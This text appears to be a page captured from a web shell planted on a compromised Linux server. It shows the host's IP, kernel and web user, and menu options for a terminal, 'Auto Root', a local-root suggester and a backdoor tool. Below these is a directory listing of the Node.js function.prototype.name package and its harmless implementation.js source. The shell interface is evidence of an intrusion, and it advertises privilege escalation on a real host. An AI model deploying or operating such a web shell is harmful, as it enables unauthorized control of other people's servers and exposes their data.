Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
function.prototype.name /
Delete
Unzip
Name
Size
Permission
Date
Action
helpers
[ DIR ]
drwxr-xr-x
2023-12-23 20:12
auto.js
36
B
-rw-r--r--
2022-12-05 08:07
implementation.js
1.05
KB
-rw-r--r--
2022-12-05 08:07
index.js
374
B
-rw-r--r--
2022-12-05 08:07
package.json
1.86
KB
-rw-r--r--
2022-12-05 08:07
polyfill.js
135
B
-rw-r--r--
2022-12-05 08:07
shim.js
916
B
-rw-r--r--
2022-12-05 08:07
Save
Rename
'use strict'; var IsCallable = require('es-abstract/2021/IsCallable'); var functionsHaveNames = require('functions-have-names')(); var callBound = require('call-bind/callBound'); var $functionToString = callBound('Function.prototype.toString'); var $stringMatch = callBound('String.prototype.match'); var classRegex = /^class /; var isClass = function isClassConstructor(fn) { if (IsCallable(fn)) { return false; } if (typeof fn !== 'function') { return false; } try { var match = $stringMatch($functionToString(fn), classRegex); return !!match; } catch (e) {} return false; }; var regex = /\s*function\s+([^(\s]*)\s*/; var functionProto = Function.prototype; module.exports = function getName() { if (!isClass(this) && !IsCallable(this)) { throw new TypeError('Function.prototype.name sham getter called on non-function'); } if (functionsHaveNames) { return this.name; } if (this === functionProto) { return ''; } var str = $functionToString(this); var match = $stringMatch(str, regex); var name = match && match[1]; return name; };